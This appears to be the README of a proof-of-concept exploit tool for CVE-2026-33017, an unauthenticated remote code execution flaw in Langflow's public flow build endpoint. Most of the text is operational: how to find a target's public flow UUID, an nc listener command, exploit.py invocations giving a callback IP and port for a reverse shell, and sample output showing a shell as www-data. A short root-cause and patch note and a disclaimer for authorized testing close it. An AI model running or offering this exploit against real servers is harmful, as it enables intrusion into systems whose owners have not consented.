
Exploit de PoC para CVE-2026-33017: execução remota de código não autenticada no Langflow por meio de injeção maliciosa de Custom Component em Python, com listener de reverse shell integrado.
Autor: dynamo2k1
Severidade: Crítica
CVSSv3: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVE-2026-33017 é uma vulnerabilidade crítica de Execução Remota de Código não autenticada no Langflow, uma plataforma de código aberto para construção visual de aplicações LLM e fluxos de trabalho de IA.
O endpoint vulnerável build_public_tmp aceita um campo data fornecido pelo atacante no corpo da requisição, sem autenticação. Isso permite que um atacante injete uma definição de fluxo totalmente personalizada contendo um Custom Component Python malicioso, cujo código é executado no servidor durante o processo de build.
Nenhuma credencial é necessária. Apenas um UUID de fluxo público válido é necessário.
| Status | Versão |
|---|---|
| Vulnerável | Langflow < 1.9.0 |
| Corrigida | Langflow 1.9.0+ |
POST /api/v1/build_public_tmp/{flow_id}/flow
Este endpoint foi projetado para construir fluxos Públicos (compartilhados) sem autenticação. Em versões vulneráveis, ele também aceita um campo data controlado pelo atacante no corpo da requisição, que é passado diretamente para a lógica de build no servidor — incluindo qualquer código Python embutido em Custom Components.
pip install requests urllib3
Navegue pela instância Langflow alvo e procure por um fluxo compartilhado/público. O UUID aparece na URL:
https://target.com/playground/7d84d636-af65-42e4-ac38-26e867052c25
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
this is the flow-id
nc -lvnp 9001
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001
Ou use o listener interativo integrado (sem necessidade de nc separado):
python exploit.py \
--url https://target.com \
--flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
--lhost <YOUR_IP> \
--lport 9001 \
--listen
| Flag | Descrição |
|---|---|
--url | URL base do Langflow alvo |
--flow-id | UUID do fluxo público |
--lhost | Seu IP para o callback do reverse shell |
--lport | Sua porta de listener |
--listen | Usa o handler de shell integrado em vez do nc externo |
--timeout | Timeout da requisição HTTP em segundos (padrão: 30) |
[*] Target: https://target.com/api/v1/build_public_tmp/<flow-id>/flow
[*] Callback: 10.10.15.28:9001
[*] HTTP 200
[!] SHELL ESTABLISHED FROM 10.x.x.x:36522
www-data@target:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Causa raiz: build_public_tmp confiava no campo data do corpo da requisição em vez de usar apenas a definição de fluxo armazenada no servidor.
Correção (Patch): No Langflow 1.9.0, o parâmetro data foi removido de build_public_tmp. Definições de fluxo externas não podem mais ser injetadas por meio deste endpoint.
Commit da correção: 73b6612
Este PoC é fornecido apenas para fins educacionais e de pesquisa de segurança autorizada. Use somente contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar.